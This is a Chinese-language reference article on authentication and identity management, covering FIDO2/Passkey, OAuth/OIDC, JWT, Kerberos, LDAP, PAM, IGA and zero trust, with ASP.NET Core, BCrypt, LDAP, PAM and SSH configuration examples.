FIDO2 / Passkey

FIDO2 是一組無密碼認證標準，由 FIDO Alliance 與 W3C 共同制定，包含兩個元件：

元件	說明
WebAuthn	W3C 標準，定義瀏覽器與網站之間的認證 API
CTAP（Client to Authenticator Protocol）	定義瀏覽器與外部驗證器（如硬體金鑰、手機）之間的通訊

Passkey 是 Apple、Google、Microsoft 聯合推廣時統一採用的產品名稱，技術本質是 FIDO2 憑證。與傳統 FIDO2 硬體金鑰（如 YubiKey）不同，Passkey 額外支援跨裝置同步（透過 iCloud Keychain、Google Password Manager 等），讓一般使用者無需購買硬體即可使用無密碼登入。

認證器類型（Authenticator Types）：

類型	說明	常見實作
平台驗證器（Platform Authenticator）	內建於裝置，由作業系統管理，使用生物辨識或 PIN 解鎖本地私鑰	Windows Hello（TPM）、Touch ID / Face ID（macOS/iOS）、Android 生物辨識（Android 7+）
漫遊驗證器（Roaming Authenticator）	外接裝置或遠端手機，可攜帶並在多台電腦上使用	YubiKey（USB/NFC）、手機 Cross-Device Authentication（掃描 QR Code，透過藍牙完成驗證）

FIDO2 的開發工作集中在 WebAuthn 層，前端呼叫瀏覽器 API、後端驗證挑戰與回應簽章；驗證器本身由作業系統或硬體全權處理，開發者不需針對各平台個別開發。

端	工作
前端（Browser）	呼叫 navigator.credentials.create()（註冊）與 navigator.credentials.get()（登入）
後端（Server）	產生隨機挑戰（Challenge）、驗證回應簽章、儲存使用者公鑰
驗證器（Authenticator）	由 OS / 硬體負責（開發者不需處理）

現代手機（iOS / Android）與桌機（Windows / macOS）均已內建平台驗證器，使用者可直接以生物辨識使用 Passkey，無需安裝額外應用程式。

核心安全優勢：

• 抗釣魚（Phishing-resistant）：憑證綁定網站 Origin，假網站無法觸發驗證。
• 無密碼外洩風險：伺服器只存公鑰，不存密碼或共享秘密。
• 免記密碼：使用生物辨識（指紋/臉部）或 PIN 解鎖本地私鑰。
• 屬於持有因素（Something You Have）+ 生物因素（Something You Are）的組合，天然滿足 MFA。
• FIDO2 / Passkey 負責「認證」（你是誰），與 OAuth 2.0 / OIDC 的「授權」（你能做什麼）互補，兩者可結合使用。

.NET 實作

.NET 生態系常用的 FIDO2 套件為 Fido2，屬於 .NET Foundation 專案。

dotnet add package Fido2
dotnet add package Fido2.AspNet

Passwordless Authentication 趨勢

無密碼認證不只是 FIDO2/Passkey，還包含多種實作方式：

方式	中文	運作原理	安全層級
Magic Link	—	點擊寄送到信箱的一次性連結完成登入	中（依賴 Email 安全性）
OTP via Authenticator App	—	TOTP / HOTP 演算法產生的一次性驗證碼	中高（不依賴電信商）
Push Notification	—	App 推播認證請求，使用者點擊核准；分為專屬 App（如 Duo Security、Okta Verify）與通用 App（如 Microsoft Authenticator，可管理多帳號）	中高（需防範 MFA Fatigue）
FIDO2 / Passkey	—	公私鑰對 + 生物辨識解鎖，抗釣魚	最高
Certificate-based	憑證型	裝置/智慧卡內建 X.509 憑證，TLS 交握時自動驗證	高（需管理 PKI 基礎設施）

• MFA Fatigue（疲勞攻擊）：攻擊者持續發送推播請求，使用者煩了誤按核准。緩解方式是啟用「數字比對（Number Matching）」：登入頁面顯示一組數字，App 內須選對應數字才能核准，確保使用者有意識地確認。
• 2022 年 Apple、Google、Microsoft 聯合宣布支援 Passkey，推動無密碼認證成為主流。
• 企業導入路徑：通常從「密碼 + MFA」→「Passwordless MFA（如 FIDO2）」→「完全無密碼」分階段推進。

智慧卡（Smart Card）與 APDU 協定

智慧卡 是內嵌 IC 晶片的實體卡片，晶片可儲存金鑰、憑證（X.509 Certificate），並在卡片內部完成密碼運算，私鑰永不離開卡片。常見應用：企業識別證（Employee ID）、健保 IC 卡、自然人憑證、PIV 卡（Personal Identity Verification）。

APDU（Application Protocol Data Unit，應用協定資料單元） 是智慧卡與讀卡機之間的通訊格式，定義於 ISO 7816-4。

C-APDU（Command APDU，命令格式）

欄位	長度	說明
CLA（Class）	1 byte	指令類別（如 0x00 為標準 ISO 命令）
INS（Instruction）	1 byte	指令碼（如 0xA4 = SELECT，0x20 = VERIFY PIN）
P1 / P2（Parameters）	各 1 byte	指令參數，依 INS 不同而有不同意義
Lc（Length Command）	0 或 1 byte	隨後資料欄（Data）的長度；無資料時省略
Data	0–255 bytes	傳送給卡片的資料（如要驗證的 PIN 值）
Le（Length Expected）	0 或 1 byte	期望回傳資料的長度；不需回傳時省略

R-APDU（Response APDU，回應格式）

欄位	長度	說明
Data	0–255 bytes	卡片回傳的資料（如讀取到的憑證內容）
SW1（Status Word 1）	1 byte	狀態碼高位元組
SW2（Status Word 2）	1 byte	狀態碼低位元組

常見狀態碼：0x9000 = 成功（Normal Ending）；0x6982 = 安全狀態不滿足（如 PIN 未驗證）；0x63CX = PIN 驗證失敗，剩餘嘗試次數 X。

APDU 安全考量

• PIN 驗證（INS = 0x20）：PIN 明文透過 C-APDU 傳送至卡片內比對，讀卡機與卡片間的通訊鏈路若未加密，PIN 可能被擷取。高安全性場景（如 PKI 智慧卡）應搭配 Secure Channel Protocol（SCP） 建立加密通道。
• 拒絕服務防護：連續 PIN 驗證失敗達上限（通常 3 次）後，卡片自動鎖卡（Block），需透過 PUK（PIN Unlock Key）解鎖，防止暴力破解。
• 私鑰安全：晶片設計確保私鑰僅用於卡片內部簽章或解密運算，無法以任何指令「匯出」私鑰原始值。

OAuth 2.0 與 OIDC 差異對照表

面向	OAuth 2.0	OIDC（OpenID Connect）
定位	授權框架（Authorization Framework）	身分驗證層，建構於 OAuth 2.0 之上
核心解決問題	「允許某應用代表你操作某個資源嗎？」	「你是誰？（身分驗證）+ 可附帶授權」
主要產物	Access Token（存取憑證）	ID Token（身分聲明）+ Access Token
Token 格式	不強制（可以是不透明字串）	ID Token 必須為 JWT（JSON Web Token）
使用者資料取得	需額外呼叫 Resource Server API	透過 UserInfo Endpoint 或直接解析 ID Token（JWT）取得
典型使用場景	「讓第三方 App 讀取你的 Google Calendar」	「使用 Google 帳號登入第三方網站」（SSO，Single Sign-On，單一登入）

OAuth 2.0 與 OIDC 的分工

• OAuth 2.0 = 授權（我允許 App A 代我存取 Google Drive）。
• OIDC = 認證 + 授權（我是誰 + 我允許什麼）。
• OIDC 不是取代 OAuth 2.0，而是在它上面加了「你是誰」的能力。
• Access Token vs Refresh Token：Access Token 短效（分鐘至小時級），隨 API 請求發送；Refresh Token 長效（天至週級），僅用於向 Authorization Server 換發新的 Access Token，不傳給 Resource Server，降低洩漏風險。

OAuth、OIDC 與 Token 格式關係圖

OAuth 2.0 授權碼流程（Authorization Code Flow）

Authorization Code Flow 是最安全且最常用的 OAuth 2.0 授權流程，適用於有後端伺服器的 Web 應用程式。搭配 PKCE（Proof Key for Code Exchange） 後也適用於 SPA 與行動應用。

OAuth 2.0 Grant Types 選擇指南

Grant Type	適用場景	安全注意事項
Authorization Code + PKCE	Web App（SPA/後端）、行動 App	首選。PKCE 防止 Authorization Code 被攔截。
Client Credentials	伺服器對伺服器（Machine-to-Machine），無使用者參與	Client Secret 須安全保管，不可嵌入前端程式碼。
Device Code	輸入受限的設備（如智慧電視、IoT 設備）	使用者需在另一裝置上完成授權。
Implicit	SPA（舊式）	已棄用（OAuth 2.1 移除）。Token 直接暴露在 URL Fragment，易遭竊取。改用 Authorization Code + PKCE。
Resource Owner Password	Legacy 系統遷移過渡期	已棄用（OAuth 2.1 移除）。使用者直接把帳密交給第三方 App，違反 OAuth 設計初衷。

• OAuth 2.1 草案整合了安全最佳實踐：授權碼流程預設要求使用 PKCE（S256 為首選方法，plain 不應使用），confidential client 搭配 OIDC nonce 等情境另有例外；移除 Implicit 和 Resource Owner Password 流程；Public client 的 Refresh Token 須採 sender-constrained 綁定或一次性 rotation。
• state 參數：防止 CSRF（Cross-Site Request Forgery）攻擊，Client 產生隨機值並於回傳時驗證一致性。
• scope 最小化：只請求必要的 scope（如 openid profile 而非 openid profile email phone address），符合最小權限原則。

API 認證機制對照表

機制	傳遞方式	安全性	適用場景
API Key	HTTP Header（如 X-API-Key）或 Query String	低（靜態字串，洩漏後需手動輪換）	低敏感度 API、速率限制用途
Bearer Token（JWT）	Authorization: Bearer <token>	中高（短效、可攜帶 Claims、可驗簽）	使用者認證後的 API 存取
OAuth 2.0 Client Credentials	Authorization: Bearer <token>（先以 client_id + client_secret 換取）	高（Token 短效、支援 scope 限縮）	Machine-to-Machine（M2M）通訊
Mutual TLS（mTLS）	TLS 交握層級，雙方互驗憑證	最高（傳輸層驗證，無法重送）	微服務間通訊、金融/醫療高安全場景

API Key 安全注意事項

• API Key 不可嵌入前端程式碼或版本控制（git commit），應透過環境變數或 Secret Manager 注入。
• API Key 僅適合用於「識別呼叫方」（如統計用量、限流），不應作為唯一的認證機制。
• 若需認證使用者身分，應改用 OAuth 2.0 Token。

ASP.NET Core JWT 驗證設定

// Program.cs — JWT Bearer 認證設定
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using System.Text;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);

// 從設定檔讀取 JWT 參數
IConfigurationSection jwtSettings = builder.Configuration.GetSection("Jwt");
byte[] keyBytes = Encoding.UTF8.GetBytes(jwtSettings["Key"]!);

builder.Services
    .AddAuthentication(options => {
        options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
        options.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
    })
    .AddJwtBearer(options => {
        options.TokenValidationParameters = new TokenValidationParameters {
            ValidateIssuer = true,
            ValidIssuer = jwtSettings["Issuer"],
            ValidateAudience = true,
            ValidAudience = jwtSettings["Audience"],
            ValidateIssuerSigningKey = true,
            IssuerSigningKey = new SymmetricSecurityKey(keyBytes),
            ValidateLifetime = true,
            ClockSkew = TimeSpan.FromMinutes(1)
        };
    });

builder.Services.AddAuthorization();

WebApplication app = builder.Build();

app.UseAuthentication();
app.UseAuthorization();

// 受保護的端點
app.MapGet("/api/protected", () => "Hello, authenticated user!")
    .RequireAuthorization();

app.Run();

// appsettings.json — JWT 設定區段
{
  "Jwt": {
    "Key": "YourSuperSecretKeyAtLeast32CharsLong!!", // 正式環境請改用 Secret Manager
    "Issuer": "https://your-app.example.com",
    "Audience": "https://your-app.example.com"
  }
}

ASP.NET Core Claims-based Authorization Policy

// Program.cs — 註冊授權原則
builder.Services.AddAuthorization(options => {
    // 基於角色的原則
    options.AddPolicy("AdminOnly", policy =>
        policy.RequireRole("Admin"));

    // 基於 Claim 的原則：要求特定部門
    options.AddPolicy("FinanceDepartment", policy =>
        policy.RequireClaim("department", "finance"));

    // 組合式原則：Admin 角色 + 台灣地區
    options.AddPolicy("TaiwanAdmin", policy =>
        policy
            .RequireRole("Admin")
            .RequireClaim("region", "TW"));

    // 自訂原則：年齡驗證
    options.AddPolicy("Over18", policy =>
        policy.RequireAssertion(context => {
            Claim? birthDateClaim = context.User.FindFirst("birth_date");

            if (birthDateClaim is null
                || !DateTime.TryParse(birthDateClaim.Value, out DateTime birthDate)) {
                return false;
            }

            int age = DateTime.Today.Year - birthDate.Year;

            if (birthDate.Date > DateTime.Today.AddYears(-age)) {
                age--;
            }

            return age >= 18;
        }));
});

// 套用於端點
app.MapGet("/api/admin/dashboard", () => "Admin Dashboard")
    .RequireAuthorization("AdminOnly");

app.MapGet("/api/finance/reports", () => "Finance Reports")
    .RequireAuthorization("FinanceDepartment");

app.MapGet("/api/restricted", () => "Restricted Content")
    .RequireAuthorization("Over18");

Password Hashing（BCrypt）

// 安裝 NuGet 套件：BCrypt.Net-Next
// dotnet add package BCrypt.Net-Next

using BCrypt.Net;

public static class PasswordHasher {
    // Work Factor 建議值：12 以上（每增加 1，計算時間翻倍）
    private const int WorkFactor = 12;

    /// <summary>
    /// Hashes a plain text password using BCrypt.
    /// </summary>
    public static string Hash(string plainPassword) {
        return BCrypt.Net.BCrypt.HashPassword(plainPassword, WorkFactor);
    }

    /// <summary>
    /// Verifies a plain text password against a stored BCrypt hash.
    /// </summary>
    public static bool Verify(string plainPassword, string hashedPassword) {
        return BCrypt.Net.BCrypt.Verify(plainPassword, hashedPassword);
    }
}

// 使用範例
// string hash = PasswordHasher.Hash("MyP@ssw0rd");
// bool isValid = PasswordHasher.Verify("MyP@ssw0rd", hash); // true

• BCrypt：內建 Salt、計算成本可調（Work Factor），是目前最廣泛使用的密碼雜湊演算法。
• Argon2（Argon2id）：2015 年 Password Hashing Competition 冠軍，可抗 GPU/ASIC 攻擊（記憶體成本可調），安全性優於 BCrypt，但套件生態較少。
• 禁止使用：MD5、SHA-1、SHA-256 等通用雜湊函式不適合密碼儲存（無 Salt、計算速度過快，易遭暴力破解與彩虹表攻擊）。
• ASP.NET Core Identity 預設使用 PBKDF2（with HMAC-SHA256/SHA512），搭配 128-bit Salt 與 10,000+ 次迭代。

JWT（JSON Web Token）

JWT 是以 JSON 為基礎的開放標準（RFC 7519），用於在各方之間安全地傳遞宣告（Claims）。由三段 Base64Url 編碼以 . 分隔組成：Header.Payload.Signature。

• Header：宣告 Token 類型（typ: "JWT"）與簽章演算法（alg，如 HS256、RS256）。
• Payload：包含 Claims（使用者資訊與 Token 元資料），Base64Url 編碼但未加密，任何人皆可解碼讀取。
• Signature：對前兩段的雜湊簽章，驗證 Token 完整性與來源可信。

常見 Claims

Claim	名稱	說明
iss	Issuer	Token 的發行者（如 https://auth.example.com）
sub	Subject	Token 的主體，通常為使用者 ID
aud	Audience	Token 的預期接收者（Resource Server）
exp	Expiration Time	過期時間（Unix Timestamp）
iat	Issued At	簽發時間
nbf	Not Before	在此時間點前 Token 無效
jti	JWT ID	Token 唯一識別碼，可用於防止重送攻擊（Replay Attack）

JWS 與 JWE

面向	JWS（JSON Web Signature）	JWE（JSON Web Encryption）
結構段數	三段（Header.Payload.Signature）	五段（Header.EncryptedKey.IV.Ciphertext.AuthTag）
Payload 可讀性	Base64Url 編碼，可直接解碼讀取	加密，第三方無法讀取內容
保護目標	完整性 + 來源驗證（防竄改）	機密性（防讀取）
實務使用頻率	日常 JWT 的預設格式	僅當 Payload 含敏感個資（如身分證字號、醫療紀錄）時使用

簽章演算法

演算法	類型	金鑰	適用場景
HS256	對稱（HMAC-SHA256）	簽發與驗證使用同一把共享密鑰	單一服務內部，無需跨服務驗證簽發者
RS256	非對稱（RSA-SHA256）	私鑰簽發、公鑰驗證	Authorization Server 簽發、Resource Server 用公鑰驗證；公鑰可透過 JWKS Endpoint 公開發布
ES256	非對稱（ECDSA-SHA256）	私鑰簽發、公鑰驗證	同 RS256，但金鑰更短、效能更佳；適合行動裝置與高流量場景

JWT 常見安全攻擊

• alg: none 繞過：攻擊者將 Header 的 alg 改為 "none"，移除 Signature 後直接偽造 Token。對策：Server 端必須以白名單明確限定允許的演算法，拒絕 none。
• RS256 → HS256 混淆攻擊：若 Server 誤將驗簽演算法設為由 Token Header 動態決定，攻擊者可將 alg 改為 HS256，以 RS256 公鑰（公開可取得）作為 HMAC 密鑰偽造簽章。對策：Server 端硬編碼預期演算法，不信任 Header 的 alg 宣告。
• Replay Attack：截取有效 Token 重複發送。對策：設定合理的 exp（短效）；高敏感操作搭配 jti 與已使用 Token 黑名單。

身分聯邦（Identity Federation）與 SCIM

身分聯邦：允許使用者以一個組織的身分憑證，存取另一組織的資源，無需在每個組織分別建立帳號。

面向	SAML 2.0	OIDC
傳遞方式	HTTP POST Binding：XML Assertion 透過自動提交的 HTML Form 經瀏覽器傳遞	Token 由後端直接向 Authorization Server 換取，不經瀏覽器傳遞
格式	XML（較笨重）	JWT（緊湊，可帶 Authorization: Bearer header）
行動 / SPA 支援	❌ 依賴瀏覽器頁面跳轉，原生 App 與 SPA 無法直接使用	✅ Authorization Code + PKCE 適用所有客戶端類型
微服務驗證	❌ XML Assertion 笨重，不適合高頻 API 呼叫	✅ JWT 可在 Gateway 或各服務本地驗簽，無需集中驗證
適用場景	企業內部 SSO（傳統 Web 應用、ADFS 整合）	消費者應用、行動 App、SPA、現代 API 架構

SAML 2.0 核心角色與 Assertion

• SAML 2.0 的核心角色：IdP（Identity Provider，身分提供者）、SP（Service Provider，服務提供者）。
• SAML Assertion 包含認證聲明（Authentication Statement）、屬性聲明（Attribute Statement）、授權決策聲明（Authorization Decision Statement）。

SCIM（System for Cross-domain Identity Management）：標準化的 REST API，用於跨系統自動化帳號生命週期管理（建立、讀取、更新、停用）。員工入職時，HR 系統透過 SCIM 在 Azure AD、Slack、Jira 等服務自動建立帳號；離職時自動停用。

SCIM 管「帳號存不存在」，SAML/OIDC 管「怎麼登入」，兩者互補，共同構成現代跨組織身分管理的基礎。

目錄服務（Directory Services）

目錄服務是集中管理使用者帳號、群組、設備等身分資訊的基礎設施：

服務/協定	說明
LDAP（Lightweight Directory Access Protocol）	輕量級目錄存取協定，定義目錄的查詢與修改操作。資料以樹狀結構（DIT, Directory Information Tree）組織，每個節點用 DN（Distinguished Name）唯一識別，如 cn=John,ou=Users,dc=example,dc=com。
Active Directory（AD）	Microsoft 的目錄服務實作，以 LDAP 為存取協定、Kerberos 為認證協定。功能涵蓋帳號管理、群組原則（GPO）、DNS 整合。
Azure AD（Entra ID）	Microsoft 雲端身分服務，支援 OAuth 2.0 / OIDC / SAML，是雲端版的身分管理平台，但底層不使用 LDAP 或 Kerberos。
OpenLDAP	開源 LDAP 伺服器，Linux 環境中常見的目錄服務實作。

LDAP 基本概念

• DN（Distinguished Name）：節點的完整路徑，如 cn=John,ou=Users,dc=example,dc=com。
• RDN（Relative Distinguished Name）：節點在同層的唯一名稱，如 cn=John。
• 常用屬性前綴：cn（Common Name）、ou（Organizational Unit）、dc（Domain Component）、uid（User ID）。
• LDAPS（LDAP over TLS/SSL）：使用 Port 636，加密 LDAP 通訊，防止帳號密碼明文傳輸。

OpenLDAP 基本查詢指令

# 搜尋所有使用者（匿名繫結，僅限開放匿名查詢的目錄）
ldapsearch -x -H ldap://ldap.example.com \
  -b "dc=example,dc=com" "(objectClass=inetOrgPerson)"

# 以管理者帳號繫結查詢（-D 為繫結 DN，-W 為互動式輸入密碼）
ldapsearch -x -H ldap://ldap.example.com \
  -D "cn=admin,dc=example,dc=com" -W \
  -b "ou=Users,dc=example,dc=com" \
  "(uid=john)" cn mail memberOf

# 透過 LDAPS 加密查詢
ldapsearch -x -H ldaps://ldap.example.com \
  -D "cn=admin,dc=example,dc=com" -W \
  -b "dc=example,dc=com" "(cn=John*)"

# 查看目錄結構（僅列出 DN，不列屬性）
ldapsearch -x -H ldap://ldap.example.com \
  -b "dc=example,dc=com" -s sub "(objectClass=*)" dn

• -x：使用簡單繫結（Simple Bind）而非 SASL。
• -b：搜尋的起始 Base DN。
• -s：搜尋範圍（base = 僅自身、one = 直接子節點、sub = 整棵子樹）。
• 官方文件：https://openldap.org/doc/admin26/guide.html

Kerberos 認證

Kerberos 是一種基於對稱金鑰的網路認證協定（MIT 開發），Active Directory 的預設認證機制。核心概念為「票據（Ticket）」：使用者只需向 KDC 驗證一次身分，即可取得票據存取多個服務（SSO）。

核心元件：

元件	全名	職責
KDC	Key Distribution Center（金鑰發布中心）	Kerberos 的核心伺服器，負責簽發票據。在 AD 中由 Domain Controller 擔任。
AS	Authentication Service（認證服務）	KDC 的子元件，驗證使用者身分並簽發 TGT。
TGS	Ticket Granting Service（票據授予服務）	KDC 的子元件，根據 TGT 簽發特定服務的 Service Ticket。
TGT	Ticket Granting Ticket（票據授權票據）	使用者通過 AS 驗證後取得的「通行證」，用於向 TGS 請求 Service Ticket，無需重新輸入密碼。
Service Ticket	—	存取特定服務（如檔案伺服器、資料庫）的憑據。

Kerberos 安全考量

• 時間同步：Kerberos 依賴時間戳防重放攻擊，Client 與 KDC 的時間差預設不可超過 5 分鐘。
• 針對 Kerberos 的攻擊手法（Golden Ticket、Silver Ticket、Pass-the-Ticket、Kerberoasting）詳見 憑證竊取與橫向移動技術。

RADIUS 與 TACACS+

企業管理數百台網路設備時，若在每台設備上個別維護帳號，管理成本極高。RADIUS 與 TACACS+ 解決此問題：由一台集中式 AAA 伺服器統一處理認證、授權與稽核，網路設備只作為「轉發者」，將使用者憑證送往伺服器驗證。

典型架構：使用者 → 網路設備（扮演 AAA Client，如交換器、AP、VPN Gateway）→ AAA 伺服器（RADIUS / TACACS+）

比較面向	RADIUS	TACACS+
全名	Remote Authentication Dial-In User Service（遠端驗證撥號使用者服務）	Terminal Access Controller Access-Control System Plus
開發者	IETF 開放標準（RFC 2865/2866）	Cisco 主導（私有協定，後公開規格）
傳輸協定	UDP（Port 1812/1813）	TCP（Port 49）
加密範圍	僅加密密碼欄位	加密整個封包（安全性較高）
AAA 整合度	認證與授權合併在同一封包	認證、授權、稽核完全分離（粒度更細）
適用場景	網路存取認證（如 Wi-Fi 802.1X、VPN）	網路設備管理存取（如路由器/交換器的 CLI 命令授權）

RADIUS 與 TACACS+ 的適用場景

• RADIUS 名稱中的「Dial-In」源於撥號數據機時代，現已廣泛應用於各種網路存取認證，不限於撥號。
• RADIUS 適合「大量使用者的網路存取認證」（如 Wi-Fi、VPN）。
• TACACS+ 適合「網路管理員的設備管理」，可細化到「允許執行哪些 CLI 命令」的粒度。
• 兩者可並存：RADIUS 管 Wi-Fi 使用者認證，TACACS+ 管網路設備管理員認證。

特權存取管理（PAM）

PAM（Privileged Access Management） 專門管控高權限帳號（如 Domain Admin、root、DBA）的存取，是零信任架構的關鍵元件。

PAM 核心功能：

功能	說明
密碼保管庫（Password Vault）	集中儲存與管理特權帳號密碼，使用者不直接知道密碼，透過 PAM 系統代理連線。
Session 錄影（Session Recording）	錄製特權操作的完整過程（鍵盤輸入、畫面），供事後稽核。
Just-in-Time Access（JIT）	需要時才授予特權，使用完畢後自動撤銷，避免帳號長期持有高權限。
密碼自動輪換	每次使用後或定期自動更換特權帳號密碼，降低洩漏風險。
最小權限代理	允許使用者執行特定特權操作（如重啟服務），無需授予完整管理員權限。

Just-in-Time（JIT）Access

JIT 存取是最小權限原則的進階實踐：

• 申請制：使用者在需要時提出權限申請，經審核後才授予。
• 時間限制：權限授予後設定有效期限（如 4 小時），到期自動撤銷。
• 稽核追蹤：每次 JIT 申請都留下完整紀錄（誰、何時、為什麼、做了什麼）。
• 雲端實作：Azure AD PIM（Privileged Identity Management）、AWS IAM Identity Center 臨時權限提升。

身分治理與管理（IGA）及身分生命週期

IAM（Identity and Access Management，身分與存取管理） 是管理「數位身分」與「存取權限」的整體框架，涵蓋四個面向：

面向	說明	本文對應章節
Authentication（認證）	驗證使用者身分	認證因素、FIDO2/Passkey、Kerberos
Authorization（授權）	決定已認證身分可存取哪些資源	存取控制模型（RBAC / ABAC）、OAuth 2.0
Identity Lifecycle（身分生命週期）	管理帳號從建立到停用的完整流程	IGA 與身分生命週期（本章節）
Access Governance（存取治理）	稽核、覆核與職責分離，確保權限合規	PAM、IGA

IGA（Identity Governance and Administration） 是 IAM 的上層治理框架，涵蓋身分的完整生命週期管理：

生命週期階段	說明	典型操作
入職（Joiner）	建立帳號、分配角色、配發設備	HR 系統觸發 SCIM 自動建立帳號至 AD、Email、Slack 等系統。
異動（Mover）	員工轉調部門或職務變更	撤銷舊角色、授予新角色（避免 Permission Creep）。
離職（Leaver）	帳號停用、權限撤銷、資料移交	自動停用所有系統帳號、撤銷 VPN/Badge 存取、保留稽核日誌。

IGA 關鍵機制：

• 存取覆核（Access Review / Recertification）：定期（如每季）由主管審核部屬的存取權限，確認是否仍有業務需要。
• 職責分離（SoD, Separation of Duties）：確保互相衝突的權限不會授予同一人（如「建立供應商」與「核准付款」不可由同一人執行）。
• 角色探勘（Role Mining）：分析現有權限分配模式，歸納出標準角色定義，降低角色爆炸風險。

服務帳號管理（Service Account）

服務帳號用於應用程式、排程作業或系統間通訊，不與特定人員綁定：

Service Account 安全最佳實踐

實踐	說明
一服務一帳號	每個應用程式或服務使用獨立的服務帳號，避免共用。
禁止互動式登入	服務帳號不應允許 RDP、SSH 等互動式登入（Windows：取消「允許本機登入」權限）。
密碼管理	使用 Managed Service Accounts（MSA/gMSA，Windows AD）自動管理密碼；非 AD 環境使用 PAM 自動輪換。
最小權限	僅授予服務運作所需的最低權限，避免使用 Admin 或 root 身分執行服務。
Secret 注入	密碼/金鑰透過環境變數、Secret Manager 或 Key Vault 注入，不寫在設定檔或程式碼中。
監控與稽核	監控服務帳號的異常行為（如從非預期來源登入、存取非預期資源）。

去中心化身分（Decentralized Identity）

Self-Sovereign Identity（SSI，自主主權身分） 是一種身分管理典範，使用者完全掌控自己的身分資料，不依賴中央身分提供者：

概念	說明
DID（Decentralized Identifier，去中心化識別符）	W3C 標準，去中心化的唯一識別符，不依賴中央註冊機構。格式如 did:web:example.com:user:123。
Verifiable Credential（VC，可驗證憑證）	發行者簽發的數位憑證（如畢業證書、員工證），持有者可選擇性揭露部分資訊（Selective Disclosure）。
Verifiable Presentation（VP，可驗證出示）	持有者從多個 VC 中選取需要的資訊組合，出示給驗證方。
Digital Wallet（數位錢包）	使用者端的應用程式，儲存與管理 DID 及 VC。

SSI 的價值與現況

• SSI 的核心價值：最小揭露原則。例如驗證「年滿 18 歲」時，只需出示「是/否」的證明，不需揭露完整生日。
• 目前仍處於早期採用階段，歐盟 eIDAS 2.0 法規推動 EU Digital Identity Wallet 是較大規模的實踐。
• 與傳統身分聯邦的差異：聯邦模式下，IdP 知道使用者登入了哪些 SP（隱私疑慮）；SSI 模式下，使用者直接出示 VC，發行者不知道何時何地被使用。

Linux / Windows 身分管理對照表

管理面向	Linux	Windows
帳號建立	useradd -m john / passwd john	net user john P@ssw0rd /add，或透過 ADUC（Active Directory Users and Computers）GUI
帳號資訊儲存	/etc/passwd（帳號資訊）、/etc/shadow（密碼雜湊）	SAM（Security Accounts Manager，本機帳號）、AD 資料庫（ntds.dit，網域帳號）
群組管理	groupadd、usermod -aG group user	net localgroup、AD 安全性群組
檔案權限	chmod（rwx）、chown（擁有者）、POSIX ACL（setfacl）	NTFS ACL、icacls 命令列工具
認證模組	PAM（Pluggable Authentication Modules）	LSASS（Local Security Authority Subsystem Service）
目錄服務/SSO	SSSD + OpenLDAP / FreeIPA + Kerberos	Active Directory + Kerberos
遠端認證	SSH Key-based、Kerberos	Kerberos（AD）、NTLM（Legacy）

Linux PAM 設定範例

# /etc/pam.d/common-auth — 認證模組堆疊（Ubuntu/Debian）
# 每一行格式：module-type  control-flag  module-path  [arguments]

# 標準 Unix 密碼認證
auth    required    pam_unix.so     nullok

# 帳號鎖定：連續 5 次失敗後鎖定 300 秒
auth    required    pam_faillock.so preauth deny=5 unlock_time=300
auth    required    pam_faillock.so authfail deny=5 unlock_time=300

# 密碼複雜度要求（需安裝 libpam-pwquality）
# /etc/security/pwquality.conf 設定最小長度、大小寫、數字、特殊字元要求
password    requisite   pam_pwquality.so retry=3 minlen=12 dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1
password    required    pam_unix.so sha512 shadow use_authtok

• required：模組失敗時最終結果為失敗，但仍繼續執行後續模組（避免透過回應時間洩漏資訊）。
• requisite：模組失敗時立即返回失敗，不繼續執行。
• Linux PAM 與 PAM（Privileged Access Management） 是完全不同的概念，名稱巧合。

SSH Key-based 認證設定

# === Client 端（產生金鑰對）===

# 產生 Ed25519 金鑰對（目前建議的演算法，比 RSA 更短更安全）
ssh-keygen -t ed25519 -C "[email protected]"
# 預設存放路徑：~/.ssh/id_ed25519（私鑰）、~/.ssh/id_ed25519.pub（公鑰）

# 將公鑰複製到遠端伺服器
ssh-copy-id -i ~/.ssh/id_ed25519.pub [email protected]

# === Server 端（/etc/ssh/sshd_config 安全加固）===

# 啟用公鑰認證
PubkeyAuthentication yes

# 禁用密碼認證（僅允許金鑰登入）
PasswordAuthentication no

# 禁用 root 直接登入
PermitRootLogin no

# 限制允許登入的使用者
AllowUsers john admin

# 修改設定後重啟 SSH 服務
# sudo systemctl restart sshd

• 私鑰必須設定適當權限：chmod 600 ~/.ssh/id_ed25519。
• 建議為私鑰設定 Passphrase，搭配 ssh-agent 避免每次輸入。
• Ed25519 vs RSA：Ed25519 金鑰長度更短（256 位元 vs RSA 建議 3072+ 位元）、簽章速度更快、抗側通道攻擊。

零信任架構（Zero Trust）對照表

傳統邊界安全 vs 零信任

面向	傳統邊界安全（護城河模型）	零信任架構（Zero Trust）
核心假設	內網可信，外網不可信	任何網路、設備、使用者預設皆不可信
驗證時機	通過 VPN（Virtual Private Network，虛擬私人網路）等邊界驗證後即信任，不再驗證	每次存取資源都需重新驗證身分與授權
網路邊界	明確的防火牆邊界	無邊界概念，身分即邊界
橫向移動風險	高（攻擊者進入內網後可自由存取內部資源）	低（微分隔與持續驗證阻斷橫向移動）
適用場景	固定辦公室、員工皆在內網工作	雲端、遠端工作、混合辦公環境

零信任三大核心原則

原則	說明
永不信任，持續驗證（Never Trust, Always Verify）	不因位於內網就自動信任，每次存取都需驗證身分、設備狀態與授權。
最小權限原則（Least Privilege）	只授予完成任務所需的最低權限，存取到期或任務完成後立即撤銷。
假設已遭入侵（Assume Breach）	預設攻擊者已在內部，設計以隔離、監控與快速偵測為主，而非單靠邊界防禦。

零信任關鍵技術元件

技術元件	用途說明
IAM + MFA	身分驗證基礎，確認「你是誰」並要求多因素驗證。
PAM（Privileged Access Management，特權存取管理）	管控高權限帳號（如 Admin、root），限制特權操作的時間與範圍。
微分隔（Micro-segmentation）	將網路切割成小區段，限制攻擊者橫向移動的範圍。
EDR（Endpoint Detection and Response，端點偵測與回應）	持續監控端點行為，偵測異常並自動回應。
SIEM / SOAR	集中蒐集日誌（SIEM，Security Information and Event Management，資安資訊與事件管理），並自動化回應安全事件（SOAR，Security Orchestration, Automation and Response，資安協作自動化與回應）。

NIST SP 800-207 零信任架構核心元件

元件	全名	職責
PE	Policy Engine（政策引擎）	根據企業政策、使用者身分、設備狀態、威脅情報等，做出存取允許/拒絕的決策。
